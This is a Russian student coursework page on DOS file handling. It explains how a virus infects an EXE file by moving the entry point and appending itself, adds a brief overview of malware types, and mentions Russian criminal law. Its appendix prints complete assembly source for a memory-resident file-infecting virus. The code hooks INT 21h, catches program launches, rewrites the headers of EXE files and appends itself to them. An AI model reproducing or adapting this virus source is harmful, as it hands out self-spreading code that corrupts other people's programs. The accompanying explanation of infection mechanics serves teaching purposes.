6. Постановка задачи

Продемонстрировать стандартный способ заражения. ЕХЕ – файлов.

В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; затем он дописывается в конец (т.о. новая точка входа соответствует его началу). При этом вирус сохраняет в себе изначальную точку входа, и когда он выполнит свою задачу – передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом – отреставрировать) значения SS и SP.

Заключение

Ныне существует немало разновидностей вирусов, различающихся по способу распространения и функциональности. Если изначально вирусы распространялись на дискетах и других носителях, то сейчас доминируют вирусы, распространяющиеся через Интернет. Растёт и функциональность вирусов, которую они перенимают от других видов программ: руткитов, бэкдоров (создают «чёрный ход» в систему), кейлоггеров (регистрация активности пользователей), программ-шпионов (крадут пароли от банковских счётов и номера кредитных карт), ботнетов (превращают заражённые компьютеры в станции по рассылке спама или в часть компьютерных сетей, занимающихся спамом и прочей противоправной активностью).

Создание и распространение компьютерных вирусов и вредоносных программ преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).


Список литературы

1.   Пирогов, В.Ю. ASSEMBLER. Учебный курс [Текст]/ В.Ю. Пирогов. – М.: Издательство Нолидж, 2001. – 848 с., ил.

2.   http://www.codenet.ru/cat/Languages/Assembler/


Приложение А

Это – программа, пример стандартного заражения

ЕХЕ-файлов

ASSUME CS: CodeSegment

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP initial

;

;

f_number: DW 0

;

;

saved_int21: DD 0

;

;

;

int21_treater:CMP AH, 4Bh

JE begin

JMP retro

begin: PUSH AX

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH DI

PUSH SI

MOV DI, DX

resend_again: INC DI

CMP byte ptr DS: [DI], 0

JNE resend_again

CMP word ptr DS: [DI-2], 4558h

JNE to_no_exe

CMP word ptr DS: [DI-4], 452Eh

JE thats_exe

to_no_exe: JMP no_exe

thats_exe:

MOV CX, 0

MOV AH, 3Dh

MOV AL, 2

CALL call_int21

MOV word ptr CS: [f_number-100h], AX

PUSH CS

POP DS

MOV AH, 3Fh

MOV DX, OFFSET data_exe – 100h

MOV CX, 20h

MOV BX, word ptr CS: [f_number-100h]

CALL call_int21

CMP word ptr DS: [data_exe – 100h + 0Ah], 50h

JNE thats_clear

JMP no_exe

thats_clear:

MOV word ptr DS: [data_exe – 100h + 0Ah], 50h

MOV AX, word ptr CS: [data_exe – 100h + 14h]

MOV word ptr CS: [saved_ip – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 16h]

MOV word ptr CS: [saved_cs – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 10h]

MOV word ptr CS: [saved_sp – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 0Eh]

MOV word ptr CS: [saved_ss – 100h + 1], AX

XOR CX, CX

XOR DX, DX

MOV BX, word ptr CS: [f_number-100h]

MOV AL, 2

MOV AH, 42h

CALL call_int21

PUSH AX

PUSH DX

MOV BX, 200h

DIV BX

INC AX

ADD DX, 1C3h

CMP DX, 200h

JB no_add

INC AX

SUB DX, 200h

no_add: MOV word ptr CS: [data_exe – 100h + 2h], DX

MOV word ptr CS: [data_exe – 100h + 4h], AX

POP DX

POP AX

PUSH AX

MOV AX, DX

MOV BX, 1000h

MUL BX

POP DX

;

CMP AX, 0

JE sub_dx

sub_ax: SUB AX, word ptr CS: [data_exe – 100h + 8h]

JMP short length_got

sub_dx: PUSH AX

PUSH DX

MOV AX, word ptr CS: [data_exe – 100h + 8h]

MOV BX, 10h

MUL BX

POP DX

SUB DX, AX

POP AX

length_got:

MOV word ptr CS: [M1 – 100h +1], DX

MOV word ptr CS: [data_exe – 100h + 14h], DX

MOV word ptr CS: [data_exe – 100h + 16h], AX

ADD AX, 50h

MOV word ptr CS: [data_exe – 100h + 10h], DX

MOV word ptr CS: [data_exe – 100h + 0Eh], AX

MOV BX, word ptr CS: [f_number-100h]

MOV DX, OFFSET my_head-100h

MOV CX, my_end – my_head

MOV AH, 40h

CALL call_int21

XOR CX, CX

XOR DX, DX

MOV BX, word ptr CS: [f_number-100h]

MOV AL, 0

MOV AH, 42h

CALL call_int21

MOV BX, word ptr CS: [f_number-100h]

MOV DX, OFFSET data_exe-100h

MOV CX, 20h

MOV AH, 40h

CALL call_int21

to_close: MOV BX, word ptr CS: [f_number-100h]

MOV AH, 3Eh

CALL call_int21

no_exe: POP SI

POP DI

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

retro: JMP dword ptr CS: [saved_int21–100h]

call_int21:

PUSHF

CALL dword ptr CS: [saved_int21–100h]

RET

initial: PUSH DS

PUSH ES

MOV AX, 40h

MOV ES, AX

CMP byte ptr ES: [134h], 55h

JE no_tsr

MOV byte ptr ES: [134h], 55h

MOV AX, DS: [02]

SUB AX, 30h

PUSH DS;>>

PUSH CS

POP DS

m1: MOV SI, OFFSET my_head

MOV ES, AX

XOR DI, DI

MOV CX, my_end – my_head

CLD

REPE MOVSB

POP DS

MOV BX, DS

DEC BX

MOV DS, BX

SUB word ptr DS: [03h], 30h

SUB word ptr DS: [12h], 30h

XOR BX, BX

MOV DS, BX

MOV AX, DS: [21h*4+0]; 48Bh

MOV word ptr ES: [saved_int21–100h+0], AX

MOV AX, DS: [21h*4+2]; 5BDh

MOV word ptr ES: [saved_int21–100h+2], AX

CLI

MOV word ptr DS: [21h*4+0], OFFSET int21_treater – 100h

MOV word ptr DS: [21h*4+2], ES

STI

no_tsr:

POP AX

MOV DS, AX

ADD AX, 10h

POP ES

CMP word ptr CS: [00], 20CDh

JNE no_first

RET

no_first: CLI

saved_ss: MOV CX, 1234h

ADD CX, AX

MOV SS, CX

saved_sp: MOV SP, 1234h

STI

saved_cs: MOV DI, 1234h

ADD AX, DI

PUSH AX

saved_ip: MOV AX, 1234h

PUSH AX

RETF

data_exe:

my_end:

MainProcedure ENDP

CodeSegment ENDS

END Start


Информация о работе «Работа с каталогами и подкаталогами. Работа с файлами»
Раздел: Информатика, программирование
Количество знаков с пробелами: 27617
Количество таблиц: 1
Количество изображений: 2

Похожие работы

Скачать
2812
0
0

... каталога 2-го уровня в каталоге 1-го уровня; провести проверку. 4)Выполнение команд по смене каталогов. 5)Уничтожение СВОИХ каталогов. Провести проверки.                     Отчет по работе 1)Просмотр корневого каталога дисков C,D, и.т.д командами DIR,DIR/W,DIR/P. а)Применение команды DIR H:>dir .………………………................................................... ...

Скачать
81628
1
0

... Вы можете переключиться на VC №2 и начать работу над чем-то другим). Использование виртуальных консолей дает вам представление о многопользовательских возможностях UNIX. 2.    Краткая информация о командах, встречающихся в этой практической работе. ИМЯ banner - печатает аргументы крупными буквами. СИНТАКСИС banner arg ... ОПИСАНИЕ banner печатает параметры на stdout, используя матрицы ...

Скачать
25445
0
4

... этот файл является именно файлом; или на то, что он является Каталогом. Файлы, в зависимости от атрибута, могут быть скрытыми, архивными системными, только для чтения.(Скрытые файлы MS DOS “не видит”). 8. КОМАНДЫ ПОДДЕРЖКИ ФАЙЛОВ Для работы с файловой системой в DOS имеются несколько встроенных команд: COPY, REN, DEL, TYPE, DIR,  MKDIR или MD,  CHDIR или CD  RMDIR или RD 8.1. ...

Скачать
23691
0
0

... news (спулинг новостей), uucp (спулинг для UUCP) и т.п. Каталог /var/tmp используется программами, которым требуется временные файлы или каталоги для хранения данных, сохраняемых между перезагрузками системы. Иерархия файловых систем В корневой файловой системе должна находиться информация для загрузчика и основные файлы, необходимые в процессе старта системы (например, ядро). Здесь же должны ...

0 комментариев


Наверх